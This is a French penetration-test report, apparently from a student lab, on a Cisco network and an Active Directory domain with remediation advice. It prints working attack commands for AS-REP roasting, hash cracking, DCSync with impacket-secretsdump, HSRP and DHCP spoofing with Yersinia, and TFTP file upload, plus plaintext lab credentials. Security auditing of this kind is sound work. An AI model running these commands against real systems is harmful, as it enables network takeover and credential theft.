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Rapport d'Audit de Sécurité Infrastructure - Phase 2

Cible : Infrastructure du Groupe G2

Date : 01/14/2026

1. Résumé exécutif

L'audit de sécurité mené sur l'infrastructure du Groupe G2 a révélé une posture de sécurité critique. La
découverte d'un protocole d'administration non sécurisé (Cisco Smart Install) a permis une compromission
totale du cœur de réseau en moins de 30 minutes, sans aucune authentification préalable.

Les faiblesses majeures incluent l'exposition de services d'administration critiques sur le réseau utilisateur,
une politique de mots de passe extrêmement faible (pellet) et l'utilisation d'algorithmes de chiffrement
obsolètes. À ce jour, un attaquant peut intercepter le trafic, modifier la topologie réseau et potentiellement
rebondir vers l'Active Directory.

2. Reconnaissance : Énumération de l'infrastructure

2.1 Réseau : Découverte d'hôtes, scan de ports, services exposés, topologie

Scan de ports et services (Nmap)

Commande utilisée :

nmap -sV 172.16.0.1/16 

Résultat :

Nmap scan report for 172.16.0.10 
Host is up (0.0018s latency). 
Not shown: 997 closed tcp ports (reset) 
PORT    STATE SERVICE    VERSION 
22/tcp  open  ssh        Cisco SSH 1.25 (protocol 2.0) 
80/tcp  open  http       Cisco IOS http config 
443/tcp open  ssl/https? 
MAC Address: 00:21:D7:11:0D:C1 (Cisco Systems) 
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios 
 
Nmap scan report for 172.16.0.11 
Host is up (0.0020s latency). 
Not shown: 997 closed tcp ports (reset) 
PORT    STATE SERVICE    VERSION 
22/tcp  open  ssh        Cisco SSH 1.25 (protocol 2.0) 
80/tcp  open  http       Cisco IOS http config 
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443/tcp open  ssl/https? 
MAC Address: 88:75:56:F3:3D:41 (Cisco Systems) 
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios 
 
Nmap scan report for 172.16.0.12 
Host is up (0.0017s latency). 
Not shown: 997 closed tcp ports (reset) 
PORT    STATE SERVICE    VERSION 
22/tcp  open  ssh        Cisco SSH 1.25 (protocol 2.0) 
80/tcp  open  http       Cisco IOS http config 
443/tcp open  ssl/https? 
MAC Address: 00:22:BE:7D:0B:C1 (Cisco Systems) 
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios 
 
Nmap scan report for 172.16.0.252 
Host is up (0.0018s latency). 
Not shown: 993 filtered tcp ports (no-response), 6 filtered tcp ports 
(admin-prohibited) 
PORT   STATE SERVICE VERSION 
22/tcp open  ssh     Cisco SSH 1.25 (protocol 2.0) 
MAC Address: 00:1F:C9:2D:71:C7 (Cisco Systems) 
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios 
 
Nmap scan report for 172.16.0.253 
Host is up (0.0014s latency). 
Not shown: 990 filtered tcp ports (no-response), 9 filtered tcp ports 
(admin-prohibited) 
PORT   STATE SERVICE VERSION 
22/tcp open  ssh     Cisco SSH 1.25 (protocol 2.0) 
MAC Address: 00:11:92:B8:10:C7 (Cisco Systems) 
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios 
 
Nmap scan report for 172.16.0.254 
Host is up (0.0048s latency). 
Not shown: 996 filtered tcp ports (no-response), 3 filtered tcp ports 
(admin-prohibited) 
PORT   STATE SERVICE VERSION 
22/tcp open  ssh     Cisco SSH 1.25 (protocol 2.0) 
MAC Address: 00:00:0C:07:AC:3C (Cisco Systems) 
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios 
 
Nmap scan report for 172.16.0.31 
Host is up (0.000015s latency). 
Not shown: 998 closed tcp ports (reset) 
PORT    STATE SERVICE         VERSION 
22/tcp  open  ssh             OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0) 
902/tcp open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, 
SOAP) 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

Scans de machines sur le réseau
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adminetu@RTC01:~$ sudo nmap -sn 172.16.0.0/16 

Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-14 15:17 CET 
Nmap scan report for 172.16.0.10 
Host is up (0.0051s latency). 
MAC Address: 00:21:D7:11:0D:C1 (Cisco Systems) 
Nmap scan report for 172.16.0.11 
Host is up (0.0094s latency). 
MAC Address: 88:75:56:F3:3D:41 (Cisco Systems) 
Nmap scan report for 172.16.0.12 
Host is up (0.0073s latency). 
MAC Address: 00:22:BE:7D:0B:C1 (Cisco Systems) 
Nmap scan report for 172.16.0.252 
Host is up (0.020s latency). 
MAC Address: 00:1F:C9:2D:71:C7 (Cisco Systems) 
Nmap scan report for 172.16.0.253 
Host is up (0.0094s latency). 
MAC Address: 00:11:92:B8:10:C7 (Cisco Systems) 
Nmap scan report for 172.16.0.254 
Host is up (0.021s latency). 
MAC Address: 00:00:0C:07:AC:3C (Cisco Systems) 
Nmap scan report for 172.16.0.31 
Host is up. 
Nmap scan report for 172.16.2.7 
Host is up (0.00099s latency). 
Nmap scan report for 172.16.2.100 
Host is up (0.0010s latency). 
Nmap scan report for 172.16.2.124 
Host is up (0.0019s latency). 
Nmap scan report for 172.16.2.125 
Host is up (0.0011s latency). 
Nmap scan report for 172.16.2.126 
Host is up (0.0014s latency). 
... 

2.2 Système : OS, versions, configurations, services actifs

Cœur de Réseau (Infrastructure Cisco)

172.16.0.10, .11, .12 : Probablement des switchs d'accès ou de distribution (services HTTP/HTTPS et
SSH ouverts).
172.16.0.252, .253 : Routeurs ou switchs de cœur (HSRP/VRRP probable au vu des IPs hautes).
172.16.0.254 : Adresse MAC 00:00:0C:07:AC:3C. Alerte : Le préfixe 00:00:0C:07:AC est réservé à
HSRP (Cisco Hot Standby Router Protocol). C'est une IP virtuelle de passerelle.

2.3 Active Directory : Utilisateurs, groupes, partages, services actifs

Scan de ports sur l'Active Directory
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adminetu@RTC01:~$ sudo nmap 172.16.2.100 -sV 

Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-14 10:13 CET 
Nmap scan report for 172.16.2.100 
Host is up (0.00099s latency). 
Not shown: 986 filtered tcp ports (no-response) 
PORT     STATE SERVICE       VERSION 
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0) 
53/tcp   open  domain? 
80/tcp   open  http          Microsoft IIS httpd 10.0 
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-
01-14 08:13:14Z) 
135/tcp  open  msrpc         Microsoft Windows RPC 
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn 
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP 
(Domain: PELLET.com0., Site: Default-First-Site-Name) 
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 
microsoft-ds (workgroup: PELLET) 
464/tcp  open  kpasswd5? 
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
636/tcp  open  tcpwrapped 
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP 
(Domain: PELLET.com0., Site: Default-First-Site-Name) 
3269/tcp open  tcpwrapped 
3389/tcp open  ms-wbt-server Microsoft Terminal Services 

3. Identification des vulnérabilités

3.1 Réseau : Services vulnérables, ports ouverts non nécessaires, protocoles obsolètes

Vulnérabilité 1 : Usurpation de protocole HSRP (HSRP Hijacking)

Service affecté : HSRP (Port UDP 1985)
Sévérité : Haute
CVSS (Estimation) : 8.8 (Critique)

Description :

L'analyse réseau a révélé que la redondance de la passerelle par défaut est gérée par le protocole HSRP. La
configuration actuelle utilise l'authentification par défaut : le mot de passe "cisco" circule en clair dans les
trames multicast. Un attaquant local peut donc récupérer ce mot de passe et injecter des paquets pour se
faire passer pour un routeur légitime.

Impact :

Cette faille permet une attaque de type Man-in-the-Middle. En s'annonçant avec une priorité maximale,
l'attaquant force les routeurs légitimes à passer en état Standby.



AUDIT_SAE33.md 2026-01-15

 / 

Confidentialité : L'attaquant peut intercepter tout le trafic sortant du VLAN.
Disponibilité : Risque élevé de Déni de Service (DoS) si l'attaquant ne retransmet pas les paquets
(phénomène de "Blackhole" constaté lors du test).

Vulnérabilité 2 : Faille Cisco Smart Install (Port 4786)

Énumération des machines avec ce service :

adminetu@RTC01:~$ sudo nmap 172.16.0.0/16 -p 4786 

Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-14 10:41 CET 
Nmap scan report for 172.16.0.10 
Host is up (0.0045s latency). 
 
PORT     STATE SERVICE 
4786/tcp open  smart-install 
MAC Address: 00:21:D7:11:0D:C1 (Cisco Systems) 
 
Nmap scan report for 172.16.0.11 
Host is up (0.017s latency). 
 
PORT     STATE SERVICE 
4786/tcp open  smart-install 
MAC Address: 88:75:56:F3:3D:41 (Cisco Systems) 
 
Nmap scan report for 172.16.0.12 
Host is up (0.0089s latency). 
 
PORT     STATE SERVICE 
4786/tcp open  smart-install 
MAC Address: 00:22:BE:7D:0B:C1 (Cisco Systems) 
 
Nmap scan report for 172.16.0.252 
Host is up (0.0027s latency). 
 
PORT     STATE    SERVICE 
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4786/tcp filtered smart-install 
MAC Address: 00:1F:C9:2D:71:C7 (Cisco Systems) 
 
Nmap scan report for 172.16.0.253 
Host is up (0.0023s latency). 
 
PORT     STATE    SERVICE 
4786/tcp filtered smart-install 
MAC Address: 00:11:92:B8:10:C7 (Cisco Systems) 
 
Nmap scan report for 172.16.0.254 
Host is up (0.011s latency). 
 
PORT     STATE    SERVICE 
4786/tcp filtered smart-install 
MAC Address: 00:00:0C:07:AC:3C (Cisco Systems) 

Vulnérabilité 3 : SNMP

sudo nmap -sU -p 69,123,161 172.16.0.10-12 

Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-14 11:44 CET 
Nmap scan report for 172.16.0.10 
Host is up (0.0031s latency). 
 
PORT    STATE  SERVICE 
161/udp closed snmp 
MAC Address: 00:21:D7:11:0D:C1 (Cisco Systems) 
 
Nmap scan report for 172.16.0.11 
Host is up (0.0018s latency). 
 
PORT    STATE  SERVICE 
161/udp closed snmp 
MAC Address: 88:75:56:F3:3D:41 (Cisco Systems) 
 
Nmap scan report for 172.16.0.12 
Host is up (0.0018s latency). 
 
PORT    STATE  SERVICE 
161/udp closed snmp 
MAC Address: 00:22:BE:7D:0B:C1 (Cisco Systems) 
 
Nmap scan report for 172.16.0.252 
Host is up (0.0017s latency). 
 
PORT    STATE    SERVICE 
161/udp filtered snmp 
MAC Address: 00:1F:C9:2D:71:C7 (Cisco Systems) 
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Nmap scan report for 172.16.0.253 
Host is up (0.0017s latency). 
 
PORT    STATE    SERVICE 
161/udp filtered snmp 
MAC Address: 00:11:92:B8:10:C7 (Cisco Systems) 
 
Nmap scan report for 172.16.0.254 
Host is up (0.0026s latency). 
 
PORT    STATE         SERVICE 
161/udp open|filtered snmp 
MAC Address: 00:00:0C:07:AC:3C (Cisco Systems) 
 
Nmap done: 6 IP addresses (6 hosts up) scanned in 0.36 seconds 

Sur les machines 172.16.0.252-254, les connexions sont filtrées. Vérification des ACL :

adminetu@RTC01:~$ sudo grep "access-list 10" 
/root/.msf4/loot/20260114110717_default_172.16.0.10_cisco.ios.config_967532
.txt 
access-list 10 permit 172.16.0.0 0.0.0.255 

Vulnérabilité 4 : TFTP (Port 69)

Étant donné qu'un service TFTP est actif, scan du port TFTP et extraction des documents partagés :
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Remarque : On n'a pas tous les documents car tftp-enum cherche des noms de fichiers à partir d'un
dictionnaire.

De plus, on peut totalement créer n'importe quel type de fichier et le mettre sur le système de fichier sans qu'il
soit vérifié.

touch exploit.sh | tftp 172.16.2.7 -c put exploit.sh 

Ce qui peut permettre par la suite de l'exécuter sur le serveur.

Vulnérabilité 5 : Protocole DHCP

Contexte :

Lors de l'analyse du réseau local, nous avons identifié que le service DHCP (Dynamic Host Configuration
Protocol) était actif. Ce protocole, qui distribue automatiquement les adresses IP, est par défaut dépourvu de
mécanismes d'authentification forts, ce qui le rend vulnérable à deux types d'attaques majeures.

Vulnérabilité A : Épuisement des adresses (DHCP Starvation)

Description : L'attaque par "famine" consiste à inonder le serveur DHCP de milliers de requêtes DHCP
DISCOVER en quelques secondes. Pour chaque requête, l'attaquant utilise une adresse MAC source
aléatoire (spoofing).

Impact : Le serveur DHCP alloue une adresse IP à chaque fausse adresse MAC jusqu'à ce que son "pool"
(réserve) d'adresses soit vide. Les utilisateurs légitimes ne peuvent plus obtenir d'adresse IP et sont donc
coupés du réseau (Déni de Service).

Vulnérabilité B : Serveur DHCP Pirate (Rogue DHCP)

Description : Une fois le serveur légitime saturé (ou simplement plus lent), l'attaquant déploie un faux serveur
DHCP sur sa propre machine. C'est ce serveur pirate qui répondra aux nouvelles demandes des clients.

Impact (Critique - Man-in-the-Middle) : Les victimes acceptent la configuration réseau fournie par le pirate.
En se déclarant comme "Passerelle" (Gateway), l'attaquant force tout le trafic Internet de la victime à transiter
par sa machine. Cela permet l'interception de données sensibles, la modification de trafic ou l'espionnage.
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Preuve Technique :

Analyse : Le filtre ip.src == 172.16.3.131 isole le trafic de l'attaquant. On constate l'envoi d'un paquet
DHCP OFFER contenant :

1. Option 54 (Server Identifier) : 172.16.3.131 (L'attaquant s'identifie comme serveur)
2. Option 3 (Router) : 172.16.3.131 (L'attaquant s'impose comme routeur de sortie)

3.2 Système : Configurations faibles, credentials exposés

Vulnérabilité : Exposition de fichiers de configuration et credentials

Grâce à la compromission de l'AD, accès au partage de fichier (en lecture pour tous, pas besoin de compte
admin). Informations cruciales trouvées :



AUDIT_SAE33.md 2026-01-15

 / 

![alt text](Capture dâ€™Ã©cran_2026-01-14_16-17-02.png)

Notamment :

Les clefs SSH pour se connecter au compte Administrateur
Informations du compte de backup contenant des données critiques :

$BackupConfig = @{ 
    User     = "svc_dragon" 
    Password = "FireAndBlood1" 
    Domain   = "PELLET" 
    Destination = "\\CITADEL\Archives" 
} 

3.3 Active Directory : Kerberoasting, AS-REP Roasting, credentials exposés

Vulnérabilité 1 : AS-REP Roasting

Énumération des utilisateurs :

sudo nmap -sV 172.16.2.100 

Constat : Les ports de Kerberos sont ouverts.

Récupération d'identifiants valides avec Kerbrute :

Wordlist utilisée : https://github.com/danielmiessler/SecLists/blob/master/Usernames/xato-net-10-million-
usernames.txt

./kerbrute_linux_amd64 userenum --dc 172.16.2.100 -d PELLET.com 
~/Téléchargements/xato-net-10-million-usernames.txt 

Résultat : Plusieurs users en lien avec GOT trouvés.

Génération d'une wordlist avec la même syntaxe avec plusieurs personnages de GOT 'prénom.nom'.
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Récupération des hashs avec AS-REP Roasting (Impacket) :

Tous les users valides mis dans valid_users.txt.

Commande pour récupérer les hashs :

python3 GetNPUsers.py PELLET.com/ -usersfile valid_users.txt -no-pass -dc-
ip 172.16.2.100 
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Les hashs sont placés dans hash.txt.

Attaque par dictionnaire avec Hashcat :

Wordlist utilisée : rockyou

Mode : 18200 (Kerberos AS-REP)

hashcat -m 18200 ~/hash.txt ~/Téléchargements/rockyou.txt 

Un seul hash cassé. Vérification dans le potfile :

cat ~/.local/share/hashcat/hashcat.potfile 
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Première porte d'entrée obtenue dans l'AD.

Vulnérabilité 2 : Hardcoded Credentials dans scripts

Exploration des Partages Réseau (SMB) :

Authentification en tant que renly.baratheon :

smbclient //172.16.2.100/IT -U renly.baratheon 
# Mot de passe : Rainbow123

Exfiltration de Données :

Le partage IT contenait un script suspect téléchargé :

smb: \> ls 
smb: \> get deploy_workstation.ps1 

Analyse de la Vulnérabilité Critique :

Analyse du contenu de deploy_workstation.ps1 :
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cat deploy_workstation.ps1 

Contenu extrait :

$DomainAdmin = "ned.stark"
$DomainPass = "Winter2019!"

Identifiants administrateur écrits en clair !

4. Exploitation : Démonstration de l'impact des vulnérabilités

4.1 Réseau : Accès non autorisé via services mal configurés

Exploitation 1 : Prise de contrôle de la passerelle (HSRP Hijacking)

Objectif :

Démontrer la possibilité de voler l'adresse IP virtuelle (172.16.3.254) et de détourner le flux réseau en
exploitant l'absence de chiffrement HSRP.

Étapes d'exploitation :

1. Écoute (Sniffing) : Utilisation de Wireshark pour capturer les paquets HSRP et identifier le mot de
passe en clair ("cisco")

2. Injection : Utilisation de l'outil Yersinia pour envoyer un paquet "Hello" falsifié avec une priorité de 255
(le maximum possible)

3. Résultat : Observation immédiate d'un paquet "Resign" (Démission) venant du routeur légitime
(172.16.3.253), qui passe en état Standby. L'attaquant devient le routeur Active

Preuve :



AUDIT_SAE33.md 2026-01-15

 / 

Légende : La capture montre l'injection du paquet malveillant (Ligne 34, "Coup") et la mise en veille
immédiate du routeur Cisco (Ligne 36, "speak").

Légende : La table d'état confirme que la machine attaquante possède désormais l'IP virtuelle 172.16.3.254.

Exploitation 2 : DHCP - Serveur pirate et Man-in-the-Middle

Manipulation effectuée :

Outil : Yersinia (Mode DHCP > Attack 1 : DHCP Starvation, puis Attack 2 : Creating Rogue Server)
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Configuration malveillante : IP de la VM attaquante (.131)

Résultat : Les victimes acceptent la configuration réseau fournie par le pirate, permettant l'interception de
tout le trafic.

4.2 Système : Élévation de privilèges, exécution de code

Exploitation : Faille Cisco Smart Install (Port 4786)

Étant donné que le port 4786 était ouvert sur plusieurs machines, exploitation avec Metasploit pour récupérer
les configurations et mots de passe.

Configuration de Metasploit :
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Lancement de l'attaque :

Résultat : Les fichiers de configuration des switchs se sont uploadés dans /root/.msf4/loot.
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Récupération des mots de passe avec John :

Accès SSH avec privilèges maximaux :



AUDIT_SAE33.md 2026-01-15

 / 

4.3 Active Directory : Compromission Domain Admin, mouvement latéral

Exploitation Finale : Compromission totale du domaine

Validation des droits Admin :

Utilisation des identifiants trouvés (ned.stark:Winter2019!) pour vérifier si le compte est toujours actif et
administrateur :

nxc smb 172.16.2.100 -u ned.stark -p 'Winter2019!'

Résultat : Le flag (Pwn3d!) est apparu, confirmant les droits d'administration sur le Contrôleur de Domaine.

Compromission Totale (DCSync) :

Grâce aux droits administrateur, extraction de la base de données des secrets (NTDS.dit) pour récupérer
tous les hashs du domaine :

impacket-secretsdump 'PELLET.com/ned.stark:Winter2019!@172.16.2.100'
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Impact : Vol réussi des hashs de l'Administrateur (fefcfc...) et du compte KRBTGT.

Vu que l'on a précédemment récupéré des mots de passes grâce à la compromission de l'AD, on peut
désormais accéder au partage de fichier, le partage étant en lecture pour tous il n'y a même pas besoin
de se connecter avec un compte admin. On peut y trouver des informations cruciales :

Notamment les clefs ssh pour se connecter au compte Administrateur, on a des l'administrateur du compte de
backup qui contient aussi des informations critiques et qui pourraient faire de gros dommages à une
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entreprise

 $BackupConfig = @{ 
    User     = "svc_dragon" 
    Password = "FireAndBlood1" 
    Domain   = "PELLET" 
    Destination = "\\CITADEL\Archives" 

On a également accès au script de création de la base westeros_prod avec la création des utilisateurs
avec les mots de passes en clair (deuxième mot de chaque ligne):

De plus, on a accès a des clées de connexions ssh donc on aurait pu se connecter sur ces sessions.
Malheureusement, les clées sont fictives.
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Par la suite, dans le fichier VULNERABILITE j'ai vu que l'on pouvait bruteforce:

    [✓] RDP Sans NLA (Port 3389) 
    Vuln: Bruteforce possible (pas de verrouillage compte) 
    Cibles: ned.stark, daenerys.targaryen, tywin.lannister 
     
    On remarque que les utilisateurs sont en rapport avec Game Of Thrones, 
on peut donc créer une word list personnalisée sur Hydra pour les 
retrouver. De plus on trouve l'utilisateur daenerys avec son mot de passe 
plus loin dans le fichier: 
        Path 5: RDP Bruteforce → Session Admin 
  1. Hydra/Ncrack sur port 3389 
  2. Wordlist rockyou.txt 
  3. Success: daenerys.targaryen:Dracarys123! 
  4. Domain Admin obtenu 

On peut donc se connecter directement sur le windows core avec l'utilisateur

xfreerdp3 /v:172.16.2.100 /u:daenerys.targaryen /p:Dracarys123! 
/cert:ignore 



AUDIT_SAE33.md 2026-01-15

 / 

On voit aussi les mots de passe en clair dans create_westeros_db.sql, nous n'avons donc même pas eu
besoin de faire une wordlist pour bruteforce

'ned.stark', 'Winter2019!' 
'tywin.lannister', 'GoldDragon2024' 

Enfin, on a aussi le fichier de conf d'Apache Tomcat 9 ou il y a des credentials en clair
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5. Remédiation : Proposer des corrections pour chaque faille

5.1 Réseau : Segmentation, filtrage, désactivation services inutiles

Remédiation HSRP

Activer l'authentification MD5 forte sur HSRP avec un mot de passe complexe
Implémenter le filtrage des paquets HSRP aux interfaces d'accès utilisateur
Utiliser des ACLs pour restreindre les communications HSRP uniquement entre équipements légitimes

Remédiation Cisco Smart Install

Désactiver immédiatement le protocole Smart Install sur tous les équipements : no vstack
Fermer le port TCP 4786 sur tous les switchs
Segmenter le réseau pour isoler les équipements d'infrastructure du réseau utilisateur

Remédiation TFTP

Activer le filtrage IP sur le service TFTP pour restreindre l'accès aux administrateurs uniquement
Implémenter une authentification forte
Utiliser des protocoles sécurisés comme SFTP ou SCP à la place de TFTP
Vérifier et valider tous les fichiers avant leur exécution
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Remédiation DHCP

Activer DHCP Snooping sur tous les switchs pour bloquer les serveurs DHCP pirates
Configurer les ports de confiance uniquement vers les serveurs DHCP légitimes
Implémenter Dynamic ARP Inspection (DAI) pour prévenir les attaques ARP
Activer IP Source Guard pour lier les adresses IP/MAC

Remédiation SNMP

Désactiver SNMPv1/v2c et migrer vers SNMPv3 avec authentification et chiffrement
Modifier toutes les community strings par défaut
Restreindre l'accès SNMP via des ACLs strictes
N'autoriser que les connexions depuis les serveurs de supervision

5.2 Système : Hardening, mises à jour, gestion des secrets

Actions prioritaires

Mises à jour : Appliquer immédiatement tous les patchs de sécurité Windows et Cisco IOS
Durcissement SSH :

Désactiver l'authentification par mot de passe, utiliser uniquement les clés SSH
Limiter l'accès SSH aux adresses IP d'administration uniquement
Utiliser des algorithmes de chiffrement modernes (désactiver SSH v1)

Gestion des secrets :
Supprimer immédiatement tous les mots de passe en clair des scripts
Utiliser un gestionnaire de secrets (Azure Key Vault, HashiCorp Vault)
Implémenter la rotation automatique des credentials

Partages réseau :
Restreindre les permissions sur les partages SMB (principe du moindre privilège)
Supprimer l'accès en lecture pour "tout le monde"
Chiffrer les données sensibles au repos

5.3 Active Directory : Politiques de mots de passe, moindre privilège, audit des ACL

Kerberos et authentification

Imposer la pré-authentification Kerberos sur tous les comptes (désactiver DONT_REQ_PREAUTH)
Implémenter une politique de mots de passe forte :

Minimum 14 caractères
Complexité obligatoire
Rotation tous les 90 jours pour les comptes privilégiés
Historique de 24 mots de passe

Activer l'audit des échecs d'authentification Kerberos

Principe du moindre privilège

Tiering Model : Implémenter un modèle d'administration à trois niveaux (Tier 0/1/2)
Supprimer les comptes de service des groupes Domain Admins
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Utiliser des comptes dédiés pour l'administration (pas de comptes partagés)
Implémenter des PAW (Privileged Access Workstations) pour l'administration


